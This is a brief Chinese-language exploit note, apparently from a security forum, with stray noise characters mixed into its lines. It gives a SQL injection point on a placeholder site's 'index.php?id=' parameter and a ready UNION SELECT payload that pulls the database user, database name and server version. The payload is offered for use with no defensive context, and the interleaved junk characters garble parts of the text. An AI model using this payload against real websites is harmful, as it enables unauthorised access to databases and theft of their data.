利用方法:
3 M1 M6 U3 |# o2 n/ e8 h; z http://www.xxx.com/index.php?id=[SQL]
7 p; H9 p; K5 l" b Demo: _1 T* |7 ]$ Y+ k- L3 m
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |